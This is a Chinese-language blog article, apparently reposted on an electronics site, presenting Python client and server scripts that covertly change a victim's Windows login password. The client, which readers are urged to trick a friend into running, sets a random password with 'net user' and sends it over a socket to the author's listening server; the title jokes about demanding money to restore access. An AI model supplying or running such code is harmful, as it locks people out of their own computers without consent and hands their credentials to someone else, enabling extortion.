0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

用python腳本來控制小伙伴們windows電腦的開機(jī)密碼

馬哥Linux運(yùn)維 ? 來源:lq ? 2019-01-28 15:19 ? 次閱讀

今天教大家用python腳本來控制小伙伴們windows電腦的開機(jī)密碼。沒錯(cuò)就是神不知鬼不覺,用random()隨機(jī)生成的密碼,只有你自己知道哦~

代碼呢分兩部分,一部分是client端跟server端兩個(gè)。你只需要想辦法讓小伙伴運(yùn)行你的client端腳本就OK啦。不過在此之前你一定要在你的電腦上運(yùn)行server端哦~這樣子的話,client端會(huì)在你的小伙伴電腦上隨機(jī)生成一個(gè)密碼然后通過socket發(fā)給server端也就是發(fā)給你哦~

下面放代碼,順便加點(diǎn)注釋。

client端代碼:

# client.py: //文件名import socket //導(dǎo)入用到的模塊import getpassimport subprocessimport randomclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創(chuàng)建socket實(shí)例client.connect(('10.0.0.1', 44444)) //連接server端IP地址/端口按你自己實(shí)際情況來user = getpass.getuser() //獲取計(jì)算機(jī)用戶名psd = '' //給一個(gè)psd變量(密碼)為空for j in range(1, 9): //生成1-9的隨機(jī)數(shù)m = str(random.randrange(0, 10))psd = psd + msubprocess.Popen(['net', 'User', user, psd]) //在本地執(zhí)行(類似于cmd命令)client.send(psd.encode('utf-8')) //將密碼發(fā)送給server端back_msg = client.recv(1024)client.close() //關(guān)閉socketprint psd //避免出現(xiàn)差錯(cuò)忘記密碼 先在本地打印

server端代碼:

# server.py //文件名import socket //導(dǎo)入socketserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創(chuàng)建socketserver.bind(('10.0.0.1', 44444)) //綁定IP/端口server.listen(5) //監(jiān)聽print('starting....')conn, addr = server.accept() //連接print(conn)print('client addr', addr)print('ready to recv the passwd...')client_msg = conn.recv(1024)print('client passwd changed: %s' % client_msg)conn.send(client_msg.upper())conn.close()server.close()

OK代碼寫完后我們開始運(yùn)行一下程序(推薦在虛擬機(jī)下運(yùn)行,萬一出個(gè)差錯(cuò)搞不好真忘記密碼!切記切記)~

首先先在我的Linux上運(yùn)行server端,來等待接收來自client端傳過來的密碼。

運(yùn)行server.py腳本

然后windows運(yùn)行client端,它會(huì)顯示生成的密碼

(前提是在cmd命令行下運(yùn)行否則你雙擊一下會(huì)消失)

cmd下運(yùn)行

現(xiàn)在再注銷或者是重啟輸入原始密碼就會(huì)發(fā)現(xiàn)密碼錯(cuò)誤,怎么密碼呢也已經(jīng)發(fā)到我們的server端了。

server收到密碼

如果你現(xiàn)在想改回密碼的話,千萬不要關(guān)機(jī) 打開cmd輸入“net user 你的用戶名 你要改變的密碼” 然后回車就ok了。

好啦,本次文章就寫到這啦。大家對(duì)什么內(nèi)容感興趣歡迎給鄙人留言,鄙人會(huì)盡量照顧到大家的口味的~

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報(bào)投訴
  • WINDOWS
    +關(guān)注

    關(guān)注

    3

    文章

    3503

    瀏覽量

    87881
  • python
    +關(guān)注

    關(guān)注

    53

    文章

    4753

    瀏覽量

    84076
  • 腳本
    +關(guān)注

    關(guān)注

    1

    文章

    382

    瀏覽量

    14761

原文標(biāo)題:用python來更改小伙伴的windows開機(jī)密碼,不給10塊不給開機(jī)

文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    windows xp開機(jī)密碼不記得怎么辦?

    windows xp開機(jī)密碼不記得怎么辦?一、 由于沒有登陸口令,無法進(jìn)入系統(tǒng);起初的方法總是選擇重新安裝Windows XP,但這種方法但繁瑣,而且費(fèi)時(shí)費(fèi)力,經(jīng)過多次實(shí)驗(yàn)之后,終于找到了一個(gè)可以
    發(fā)表于 09-08 09:12

    如何解開機(jī)密碼

    如何解開機(jī)密碼我的一臺(tái)IBM筆記本thinkpad 1161-96c 被兒子設(shè)置了開機(jī)密碼 ,問他說忘了,急死我了,我好多工作資料在里面。有誰能告訴我怎么解開??梢栽囋囅旅娴姆椒?,也許可以解除筆記本
    發(fā)表于 03-16 09:42

    筆記本開機(jī)密碼忘記了怎么辦,怎么破解電腦開機(jī)密碼

    ,可能要付出幾百元的代價(jià),事實(shí)上,如果我們動(dòng)點(diǎn)腦筋,同樣可以破解筆記本開機(jī)密碼。對(duì)于型號(hào)較老的筆記本電腦,可以試試下面的方法,也許可以解除筆記本的開機(jī)密碼:一是改變機(jī)器的硬件配置,比如把硬盤取下來,再
    發(fā)表于 12-28 15:26

    小伙伴,還在為下不到年鑒而苦惱嗎?快來試試這個(gè)!

    小伙伴,還在為下不到年鑒而苦惱嗎?快來試試這個(gè)!夏澤網(wǎng)(www.xiaze.com)收錄了很多年鑒,非常齊全。趕快試試吧。
    發(fā)表于 10-13 16:59

    怎樣取消電腦開機(jī)密碼

      給電腦設(shè)置開機(jī)密碼很多人都會(huì),但是怎樣取消電腦開機(jī)密碼有些朋友并不知道,其實(shí)方法很簡單,歐陽兔這就把方法分享給大家?! ?.jpg (23.66 KB, 下載次數(shù): 0)    第
    發(fā)表于 03-27 19:56

    植物小伙伴

    小伙伴是如何設(shè)計(jì)的。左上:激光切竹塊組成的機(jī)器人,恐龍和兔子。中間:機(jī)器人與他的腦袋。右上角:恐龍LED照明燈測試。左下:兔子內(nèi)部電池操作測試.連接土壤探針。右下方:兔子制作。所以現(xiàn)在,我這些朋友
    發(fā)表于 09-16 17:14

    數(shù)字頻率計(jì)的小伙伴有沒有

    數(shù)字頻率計(jì)的小伙伴有沒有
    發(fā)表于 08-12 13:36

    超全面!破解window開機(jī)密碼的方法!

    密碼即可,然后保存推出,重新開機(jī)就可以密碼登錄window10pc電腦系統(tǒng)了裝機(jī)員, 系統(tǒng), wi
    發(fā)表于 06-03 14:40

    小伙伴幫忙看看這個(gè)電路

    小伙伴,誰能幫忙看下附件圖片的這部分電路,不是太懂。。。多謝多謝!~
    發(fā)表于 03-23 11:12

    如何解開機(jī)密碼

    如何解開機(jī)密碼 我的一臺(tái)IBM筆記本thinkpad 1161-96c 被兒子設(shè)置了開機(jī)密碼 ,問他說忘了,急死我了,我好多工作資料在里面。有誰能告
    發(fā)表于 01-23 14:20 ?1297次閱讀

    巧解任何電腦開機(jī)密碼(小小一招就搞定)

    巧解任何電腦開機(jī)密碼(小小一招就搞定) 小小一招巧解任何電腦開機(jī)密碼,無需任何工具,無需放電 任
    發(fā)表于 02-25 10:57 ?771次閱讀

    MIUI 8.2.21 內(nèi)測版更新, 小伙伴我等你到周五

    MIUI 8.2.21 內(nèi)測版更新, 小伙伴我等你到周五
    發(fā)表于 02-23 10:54 ?1329次閱讀

    華碩新機(jī)ZenFone 4下月首發(fā),華碩電腦小伙伴可還期待?

    老牌電腦生產(chǎn)廠商華碩現(xiàn)在有點(diǎn)不誤正業(yè)了,又推出一款新手機(jī),ZenFone 4,可能會(huì)于下個(gè)月19號(hào)發(fā)布,但是華碩電腦小伙伴會(huì)不會(huì)買華碩手機(jī)的賬?
    發(fā)表于 07-19 16:49 ?890次閱讀

    Windows密碼修改解除開機(jī)密碼工具NTPWEdit應(yīng)用程序免費(fèi)下載

    本文檔的主要內(nèi)容詳細(xì)介紹的是Windows密碼修改解除開機(jī)密碼工具NTPWEdit 應(yīng)用程序免費(fèi)下載。
    發(fā)表于 04-15 08:00 ?5次下載

    如何取消電腦開機(jī)密碼,具體設(shè)置方法的介紹

    品牌型號(hào):聯(lián)想天逸510S2020; 系統(tǒng):win10190964位企業(yè)版, 部分用戶可能電腦型號(hào)不一樣,但系統(tǒng)版本一致都適合該方法。 取消電腦開機(jī)密碼怎么設(shè)置方法呢?給大家分享一下怎么取消
    發(fā)表于 03-25 15:30 ?5427次閱讀